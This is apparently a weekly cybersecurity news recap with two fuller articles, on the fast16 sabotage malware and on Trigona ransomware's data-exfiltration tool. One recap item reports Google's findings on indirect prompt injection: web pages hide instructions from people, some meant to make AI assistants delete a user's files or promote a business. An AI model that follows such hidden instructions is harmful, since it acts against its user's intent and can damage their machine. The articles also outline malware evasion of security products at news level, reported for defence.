Everything is dumb again. This week feels broken in a very familiar way. Old tricks are back. New tools are doing shady crap. Supply chains got hit. Fake help desks worked. Weird research showed how easy some attacks still are. Most of it feels like stuff we should have fixed years ago. Bad extensions. Stolen creds. Remote tools are getting abused. Malware hides in places people trust. Same mess, cleaner packaging. Coffee is cold. The vuln list is ugly. Let’s get into it. ⚡ Threat of the Week New fast16 Malware Was Developed Years Before Stuxnet—A new Lua-based malware called fast16, created years before the notorious Stuxnet worm, is designed to primarily target high-precision calculation software to tamper with results. The framework dates back to 2005. Analysis suggests that fast16 was active at least five years before the emergence of Stuxnet. Widely regarded as a joint U.S.-Israeli project, Stuxnet marked a turning point in cyber warfare as the first disruptive digital weapon and eventually served as the blueprint for the Duqu information-stealing rootkit. Fast16, however, establishes a much earlier timeline for such sophisticated operations. The development places its origin well before Stuxnet came into being. Although it's currently not known if it was ever deployed in the wild, the investigation found three potential types of physical simulation software that the malware might have been designed to tamper with. "It focuses on making slight alterations to these calculations so that they lead to failures – very subtle ones, perhaps not immediately apparent," security researcher Vitaly Kamluk told WIRED. "Systems might wear out faster, collapse, or crash, and scientific research could yield incorrect conclusions, potentially causing serious harm." Automated Session Termination & Activity Summaries: Goodbye Manual Log Reviews Threats move fast. KeeperAI moves faster. With real-time, agentic AI threat detection and response, high-risk sessions are instantly terminated, and every action is categorized into risk levels and summarized. Automate insider threat detection and eliminate manual log reviews forever. Start a Free Trial ➝ 🔔 Top News UNC6692 Resorts to Teams Help Desk Impersonation—A new threat group tracked as UNC6692 uses social engineering to deploy a new, custom malware suite named Snow, which consists of a browser extension, a tunneler, and a backdoor. The end goal is to steal sensitive data after network compromise through credential theft and domain takeover. "This component is where active reconnaissance and mission completion occur," Google Mandiant noted. "Attacker commands (such as whoami or net user) are sent through the SnowGlaze tunnel, intercepted by the SnowBelt extension, and then proxied to the SnowBasin local server via HTTP POST requests. SnowBasin executes these commands and relays the results back through the same pipeline to the attacker." U.S. Federal Agency Targeted by FIRESTARTER Backdoor—The U.S. Cybersecurity and Infrastructure Security Agency (CISA) revealed that an unnamed federal civilian agency's Cisco Firepower device running Adaptive Security Appliance (ASA) software was compromised in September 2025 with a new malware called FIRESTARTER. FIRESTARTER is assessed to be a backdoor designed for remote access and control. It's believed to be deployed as part of a "widespread" campaign orchestrated by an advanced persistent threat (APT) actor to obtain access to Cisco Adaptive Security Appliance (ASA) firmware by exploiting now-patched security flaws such as CVE-2025-20333 and CVE-2025-20362. Given the backdoor's ability to survive patches and system reboots, Cisco is recommending users reimage and update to the latest fixed versions. Lotus Wiper Malware Targets Venezuelan Energy Systems—A previously undocumented data wiper codenamed Lotus Wiper has been used in attacks targeting the energy and utilities sector in Venezuela at the end of last year and the start of 2026. "Two batch scripts are responsible for initiating the destructive phase of the attack and preparing the environment for executing the final wiper payload," Kaspersky said. "These scripts coordinate the start of the operation across the network, weaken system defenses, and disrupt normal operations before retrieving, deobfuscating, and executing a previously unknown wiper." Once deployed, the wiper erases recovery mechanisms, overwrites the content of physical drives, and systematically deletes files across affected volumes, effectively leaving the system in an inoperable state. The Gentlemen Deploys SystemBC Malware—Threat actors associated with The Gentlemen ransomware‑as‑a‑service (RaaS) operation have been observed attempting to deploy a known proxy malware called SystemBC. The ransomware group has quickly made a name for itself in a matter of months, claiming more than 320 victims on its data leak site since its emergence in July 2025. According to Comparitech, the group claimed 202 attacks last quarter, second only to Qilin's 353 claims. NCC Group found The Gentlemen was responsible for 34 attacks in January and 67 in February 2026, making it a prominent player alongside other established groups like Qilin, Akira, and Cl0p. "The emergence of The Gentlemen group among the top three most active threat actors is notable as it demonstrates how a relatively new group can scale operations rapidly," NCC Group said. The development comes as another nascent ransomware group called Kyber has attracted attention for becoming the first RaaS crew to adopt the Kyber1024 (aka ML-KEM) post-quantum encryption algorithm for its Windows variant of the locker. In related news, the threat actors linked to the Trigona ransomware, dubbed Rhantus, have been observed using a custom data exfiltration tool that's designed to provide attackers with more control over what files to choose (or ignore) and facilitate rapid data transfer by opening five parallel connections per file. The attacks were detected in March 2026. It's not known why the threat actors shifted from readily available tools like Rclone. The use of custom tooling in the ransomware landscape is something of a rarity, even as it's a double-edged sword for attackers. "While it requires development resources and time, these tools can provide a level of stealth that generic tools cannot match, at least until they're discovered," the Symantec and Carbon Black Threat Hunter Team said. Bitwarden CLI Compromised in Supply Chain Campaign—Bitwarden CLI, the command-line interface for the password manager Bitwarden, was compromised as part of a new supply chain attack that targeted Checkmarx's Docker images, Visual Studio Code extensions, and GitHub Actions workflow. The affected package, @bitwarden/[email protected], contained malicious code to steal sensitive data from developer systems. The malware also features self-propagation capabilities, using stolen npm credentials to identify packages the victim can modify and inject them with malicious code to expand its reach. Bitwarden has since addressed the issue. The attack appears to be the work of a threat actor known as TeamPCP, although references to the string "Shai-Hulud: The Third Coming" have complicated attribution. 🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-40372 (Microsoft ASP.NET Core), CVE-2026-33626 (LMDeploy), CVE-2026-5760 (SGLang), CVE-2026-5752 (Cohere AI Terrarium), CVE-2026-3517, CVE-2026-3518, CVE-2026-3519, CVE-2026-4048 (Progress LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF), CVE-2026-21876 (Progress MOVEit WAF), CVE-2026-32173 (Microsoft Azure SRE Agent), CVE-2026-25262 (Qualcomm), CVE-2025-24371 (CometBFT), CVE-2026-5754 (Radware Alteon), CVE-2026-40872 (Mailcow), CVE-2026-27654 (Nginx), CVE-2026-5756 (DRC INSIGHT), CVE-2026-5757 (Ollama), CVE-2026-41651 aka Pack2TheRoot (Linux PackageKit), CVE-2026-33824 (Microsoft Windows IKEv2), CVE-2026-21571, CVE-2026-33871 (Atlassian Bamboo Data Center), CVE-2026-40050 (CrowdStrike LogScale), CVE-2026-32604, CVE-2026-32613 (Spinnaker), CVE-2026-33694 (Tenable Nessus Agent on Windows), TRA-2026-30 (Windows-driver-samples), TRA-2026-35 (Yuma AI), and a remote code execution flaw in Slippi (no CVE). 🎥 Cybersecurity Webinars Stop Testing, Start Validating: Outsmart Hackers with Agentic AI → Stop guessing which security gaps matter most while hackers use AI to find them for you. Most tools just follow a static checklist, but "Agentic Exposure Validation" actually thinks like an attacker, uncovering hidden paths into your network that traditional scans miss. Join this webinar to see how autonomous AI agents can test your defenses 24/7 and help you fix the risks that truly matter before they are exploited. Stop the Spread: How to Kill "Patient Zero" Before Your Network Goes Down → It only takes one "Patient Zero" to bring down your entire company. While traditional tools look for old threats, modern hackers are using AI-powered tricks to slip past your defenses undetected. Join this webinar to see how these new attacks work and learn simple "Zero Trust" steps to stop a breach before it spreads. Don't wait for a crisis—learn how to lock down your network today. Connect the Dots: Stop Attackers Before They Reach Your Data → Hackers aren't just looking for one big bug; they are chaining small, hidden gaps in your code and cloud to create a direct path to your data. Most security tools only see these issues in isolation, leaving you blind to the "big picture" thatan attacker sees. Join this webinar to learn how to map these complex attack paths and fix the real risks before they are exploited. 📰 Around the Cyber World Turning the Web Into a Trap for LLMs —Google has revealed that indirect prompt injections (IPI) are a top security priority, calling it a "primary attack vector for adversaries to target and compromise AI agents." Unlike regular prompt injection that seeks to manipulate a chatbot into executing malicious instructions, IPI occurs when an AI system processes content, like a website, email, or document, that contains nefarious commands. As this content is processed by the AI, it may end up following the attacker's commands instead of the user's original intent. This is complicated by the fact that attackers use a gaggle of tricks to hide malicious instructions from human eyes while keeping them fully visible to AI. This often involves making the text invisible through CSS, encoding it in various formats, or stashing it in unexpected locations. In at least one malicious scenario, Google flagged a number of websites that attempt to vandalize the machines of anyone using AI assistants. If executed, the commands in this example would try to delete all files on the user's machine. Some websites include prompt injections for the purpose of SEO, trying to manipulate AI assistants into promoting their business over others. "Additionally, even though sophistication was low, we observed an uptick in detections over time: We saw a relative increase of 32% in the malicious category between November 2025 and February 2026, repeating the scan on multiple versions of the [CommonCrawl] archive," Google said. "This upward trend indicates growing interest in IPI attacks." Meta Debuts Improved Meta Account —Meta has introduced an improved Meta Account as a centralized way to sign in and manage Meta apps and devices like Facebook, Instagram, and AI glasses. Besides adding support for passkeys, Meta also allows users to "optionally set up a single password to log into your apps and devices so you no longer have to remember multiple passwords." X Launches XChat —X launched XChat as a standalone app for iOS, allowing users on the platform to connect with others for messaging, file sharing, audio and video calls, as well as group chats. The company claims all messages are end-to-end encrypted and PIN-protected — though security experts have previously disputed the company's encryption claims when an early version was teased last year. XChat's app listing page shows that it can collect location, contacts, search history, usage data, identifiers, and device diagnostics, and link that information to a user's identity directly. Meta Plans to Track Employee Mouse Movements, Keystrokes for AI Model Training —Meta is installing tracking software on the systems of U.S. employees to capture mouse movements, clicks, and keystrokes, per a report from Reuters. Meta said the data will be used to train its artificial intelligence (AI) models and will not be used for employee reviews. In a similar development, GitHub notified users that the GitHub CLI now collects anonymous usage telemetry by default and that they should disable the feature if they do not want to share such information. Surge in Attacks Involving Compromised Bomgar Instances —Huntress has recorded an uptick in incidents involving compromised Bomgar remote monitoring and management (RMM) instances. "The surge follows intermittent waves of exploitation we have seen over the past two months, after BeyondTrust first disclosed a critical-severity flaw (CVE-2026-1731) in Bomgar in February," the company said. "On February 6, 2026, BeyondTrust issued fixes for the flaw in Bomgar (rebranded as BeyondTrust Remote Support), which could be exploited by an unauthenticated attacker to remotely execute code." The specific root cause behind these attacks is not clear, but the incidents likely stem from the exploitation of CVE-2026-1731. Fortra has also spotted phishing campaigns trying to lure victims into installing Datto's CentraStage remote monitoring and management tool, which attackers are then using to connect back into the victim's internal network. The findings demonstrate threat actors' continued shift toward exploiting RMMs rather than using traditional malware. Over 1.2K C2 Servers Linked to Russian Infrastructure Providers —A large-scale study of the Russian web hosting space has found more than 1,250 malicious command-and-control servers hosted inside Russia this year. Most of the servers are linked to malware families and IoT botnets, such as Keitaro, Hajime, Cobalt Strike, Sliver, Mozi, and Mirai, according to Hunt.io. Tether Freezes $344M —Tether announced that it supported the U.S. Government in freezing $344 million USD₮ across two addresses. "The freeze was executed after the addresses were identified, preventing further movement of funds," the company said. "The freeze follows information shared with Tether by several U.S. authorities about activity tied to unlawful conduct. When wallets are identified as connected to sanctions evasion, criminal networks, or other illicit activity, Tether can move to restrict those assets." According to TRM Labs, the two wallet addresses are associated with the Central Bank of Iran. The wallets received roughly $370 million across approximately 1,000 transactions since March 2021. "Over the last few months, OFAC has taken unprecedented action against Iran's use of crypto infrastructure," said Ari Redbord, TRM Labs's Global Head of Policy. "As the regime leans more heavily on cryptocurrency to move funds outside the U.S. financial system, U.S. law enforcement and regulators are working closely with private-sector initiatives like T3 to freeze and seize Iran-associated wallets. This is exactly the kind of public-private disruption needed to take on rogue nation-state actors like Iran." Malicious Chrome Extension Masquerades as Google Authenticator —A malicious Chrome extension posing as the official Google Authenticator app was identified in the official extension marketplace as part of an ongoing malicious campaign codenamed AIFrame, active since at least early 2026. "The extension appears to use Chrome's localization system and skeleton code to bypass security reviews," DomainTools said. "Despite its functional appearance, it requests broad, unnecessary permissions and contains 'dormant infrastructure.' This extension is linked to at least six others through a shared developer front, two of which already carry fully operational malicious payloads. These extensions utilize hidden iframes to inject attacker-controlled content into every webpage, deploy fraudulent paywalls for free services, and maintain bidirectional communication with C2 servers." Compromised WordPress Sites Push ClickFix Schemes —Multiple websites have been compromised by a ClickFix clipboard hijacker that aims to trick users into pasting malicious commands into the Windows Run dialog or the macOS Terminal app to deliver malware. The kill chain is assessed to share overlaps with a known traffic distribution system (TDS) named KongTuke. New Phishing Toolkits Discovered —A number of new phishing-as-a-service toolkits have been spotted in the wild: OLUOMO, ATHR, VENOM, p1bot, TMoscow Bot, REFUNDEE, and UPMI. 🔧 Cybersecurity Tools Malfixer → Stop wasting hours manually repairing broken malware just to see how it works. Malfixer does the heavy lifting by automatically rebuilding corrupted or "packed" files so they are ready for analysis in seconds. It is a simple, effective way to bypass the tricks hackers use to hide their code, letting you get straight to your investigation. SmokedMeat → Most developers have no idea how many "shadow" tools and scripts are hidden inside their software build pipelines. Smokedmeat shines a light on these forgotten GitHub Actions and third-party tools by quickly scanning your environment to show you exactly what is running. It is a simple way to find hidden back doors and security risks before attackers do. Disclaimer: This is strictly for research and learning. It hasn't been through a formal security audit, so don't just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law. Conclusion Same pattern, new mess. Patch the obvious stuff first. Check the weird logins. Look hard at browser extensions, remote tools, and anything that touches your build chain. The boring checks are boring until they save prod. That’s it for this week. Keep backups clean, MFA tight, and your trust budget low.

Cybersecurity researchers have discovered a new Lua-based malware created years before the notorious Stuxnet worm that aimed to sabotage Iran's nuclear program by destroying uranium enrichment centrifuges. According to a new report published by SentinelOne, the previously undocumented cyber sabotage framework dates back to 2005, primarily targeting high-precision calculation software to tamper with results. It has been codenamed fast16. "By combining this payload with self-propagation mechanisms, the attackers aim to produce equivalent inaccurate calculations across an entire facility," researchers Vitaly Kamluk and Juan Andrés Guerrero-Saade said in an exhaustive report published this week. Fast16 is estimated to predate Stuxnet – the world's first known digital weapon designed for disruptive actions – by at least five years. While Stuxnet is widely attributed to the U.S. and Israel and later served as the architectural foundation for the Duqu information-stealing rootkit, fast16 appears to have emerged much earlier. It also precedes the earliest known samples of Flame (aka Flamer and Skywiper), another sophisticated malware that was discovered in May 2012 incorporating a Lua virtual machine to realize its goals. The discovery makes fast16 the first strain of Windows malware to embed a Lua engine. SentinelOne said it made the discovery after it identified an artifact named "svcmgmt.exe" that, at first blush, appeared to be a generic console‑mode service wrapper. The sample has a file creation timestamp of August 30, 2005, per VirusTotal, to which it was uploaded more than a decade later on October 8, 2016. However, a deeper investigation has revealed an embedded Lua 5.0 virtual machine and an encrypted bytecode container, along with various other modules that bind directly into Windows NT file system, registry, service control, and network APIs. The implant's core logic resides in the Lua bytecode, with the binary also referencing a kernel driver ("fast16.sys") via a PDB path – a file with a creation date of July 19, 2005 – that's responsible for intercepting and modifying executable code as it's read from disk. That said, it's worth noting that the driver will not run on systems with Windows 7 or later. In what's a finding that could give an indication of the tool's origins, SentinelOne said it uncovered a reference to the string "fast16" in a text file called "drv_list.txt" that included a list of drivers designed for use in advanced persistent threat (APT) attacks. The nearly 250KB file was leaked by a mysterious hacking group nine years ago. In 2016 and 2017, the collective – calling itself The Shadow Brokers – published vast troves of data allegedly stolen from the Equation Group, an advanced persistent threat group with suspected ties to the U.S. National Security Agency (NSA). This included a bevy of hacking tools and exploits under the nickname "Lost in Translation." The text file was one of them. "The string inside svcmgmt.exe provided the key forensic link in this investigation," SentinelOne said. "The PDB path connects the 2017 leak of deconfliction signatures used by NSA operators with a multi-modal Lua‑powered 'carrier' module compiled in 2005, and ultimately its stealthy payload: a kernel driver designed for precision sabotage." "Svcmgmt.exe" has been described as a "highly adaptable carrier module" that can alter its behavior based on the command-line arguments passed to it, enabling it to run as a Windows service or execute Lua code. It comes with three distinct payloads: Lua bytecode to handle configuration and propagation and coordination logic, an auxiliary ConnotifyDLL ("svcmgmt.dll"), and the "fast16.sys" kernel driver. Specifically, it's designed to parse the configuration, escalate itself as a service, optionally deploy the kernel implant, and launch a Service Control Manager (SCM) wormlet that scans for network servers and propagates the malware to other Windows 2000/XP environments with weak or default credentials. An important aspect worth mentioning here is that the propagation only occurs when it's manually forced, or common security products aren't found on the system by scanning the Windows Registry database for associated registry keys. Some of the security tools it explicitly checks belong to Agnitum, F-Secure, Kaspersky, McAfee, Microsoft, Symantec, Sygate Technologies, and Trend Micro. The presence of Sygate Technologies is another indicator that the sample was developed in the mid-2000s, as the company was acquired by Symantec (now part of Broadcom) in August 2005, and sales and support for its products were formally discontinued by November. "For tooling of this age, that level of environmental awareness is notable," SentinelOne said. "While the list of products may not seem comprehensive, it likely reflects the products the operators expected to be present in their target networks whose detection technology would threaten the stealthiness of a covert operation." The ConnotifyDLL, on the other hand, is invoked each time the system establishes a new network connection using the Remote Access Service (RAS), and writes the remote and local connection names to a named pipe ("\\.\pipe\p577"). However, it's the driver that's responsible for the precision sabotage, targeting executables compiled with the Intel C/C++ compiler to perform rule-based patching and hijack execution flow through malicious code injections. One such block is capable of corrupting mathematical calculations, specifically going after tools used in civil engineering, physics, and physical process simulations. "By introducing small but systematic errors into physical‑world calculations, the framework could undermine or slow scientific research programs, degrade engineered systems over time, or even contribute to catastrophic damage," SentinelOne explained. "By separating a relatively stable execution wrapper from encrypted, task-specific payloads, the developers created a reusable, compartmentalized framework that they could adapt to different target environments and operational objectives while leaving the outer carrier binary largely unchanged across campaigns." Based on an analysis of the 101 rules defined in the patching engine and matching them against software used in the mid-2000s, it's assessed that three high-precision engineering and simulation suites may have been the targets: LS-DYNA 970, PKPM, and the MOHID hydrodynamic modeling platform. LS-DYNA, now part of the Ansys Suite, is a general-purpose multi physics simulation software package that's used for simulating crashes, impacts, and explosions. In September 2024, the Institute for Science and International Security (ISIS) released a report detailing Iran's possible use of computer modeling software like LS-DYNA for nuclear weapons development based on an examination of 157 academic publications found in open-source scientific and engineering literature. This chain of evidence assumes significance considering Iran's nuclear program is said to have suffered substantial damage after its uranium enrichment facility in Natanz was targeted by the Stuxnet worm in June 2010. What's more, Symantec revealed in February 2013 an earlier version of Stuxnet that was used to attack Iran's nuclear program in November 2007, with evidence indicating it was under development as early as November 2005. "Stuxnet 0.5 is the oldest known Stuxnet version to be analyzed," Symantec noted at the time. "Stuxnet 0.5 contains an alternative attack strategy, closing valves within the uranium enrichment facility at Natanz, Iran, which would have caused serious damage to the centrifuges and uranium enrichment system as a whole." Taken together, the latest finding "forces a re‑evaluation" of the historical timeline of development for clandestine cyber sabotage operations, SentinelOne said, adding it shows state-backed cyber sabotage tooling against physical targets had been fully developed and deployed by the mid‑2000s. "In the broader picture of APT evolution, fast16 bridges the gap between early, largely invisible development programs and later, more widely documented Lua‑ and LuaJIT‑based toolkits," the researchers concluded. "It is a reference point for understanding how advanced actors think about long‑term implants, sabotage, and a state’s ability to reshape the physical world through software. fast16 was the silent harbinger of a new form of statecraft, successful in its covertness until today."

Recently observed Trigona ransomware attacks are using a custom, command-line tool to steal data from compromised environments faster and more efficiently. The utility was emplayed in attacks in March that were attributed to a gang affiliate, likely in an effort to avoid publicly available tools, such as Rclone and MegaSync, that typically trigger security solutions. Researchers at cybersecurity company Symantec believe that the shift to a custom tool may indicate that the attacker is "investing time and effort in proprietary malware in a bid to maintain a lower profile during a critical phase of their attacks." In a report today, the researchers say that the tool is named “uploader_client.exe” and connects to a hardcoded server address. Its performance and evasion capabilities include: Support for five simultaneous connections per file for faster data exfiltration via parallel uploads. Rotation of TCP connections after 2GB of traffic to evade monitoring. Option for selective file type exfiltration, excluding large, low-value media files. Use of an authentication key to restrict access to stolen data by outsiders. In one incident, the exfiltration tool was used to steal high-value documents such as invoices and PDFs on network drives. Trigona ransomware was launched in October 2022 as a double-extortion operation that demanded its victims to pay ransoms in the Monero cryptocurrency. Although Ukrainian cyber activists disrupted the Trigona operation in October 2023, hacking its servers and stealing internal data such as source code and database records, Symantec’s report suggests that the threat actors resumed operations. According to Symantec’s observations of recent Trigona attacks, threat actor installs the Huorong Network Security Suite tool HRSword as a kernel driver service. This phase is followed by deploying additional tools that can disable security-related products (e.g., PCHunter, Gmer, YDark, WKTools, DumpGuard, and StpProcessMonitorByovd). "Many of these leveraged vulnerable kernel drivers to terminate endpoint protection processes," Symantec says. Some of the utilities were executed with PowerRun, a product that can launch apps, executables, and scripts with elevated privileges, thus bypassing user-mode protections. AnyDesk was used for direct remote access on the breached systems, while Mimikatz and Nirsoft utilities were executed for credential theft and password recovery operations. Symantec has listed indicators of compromise (IoCs) associated with the latest Trigona activity at the bottom of its report to help with the timely detection and blocking of these attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report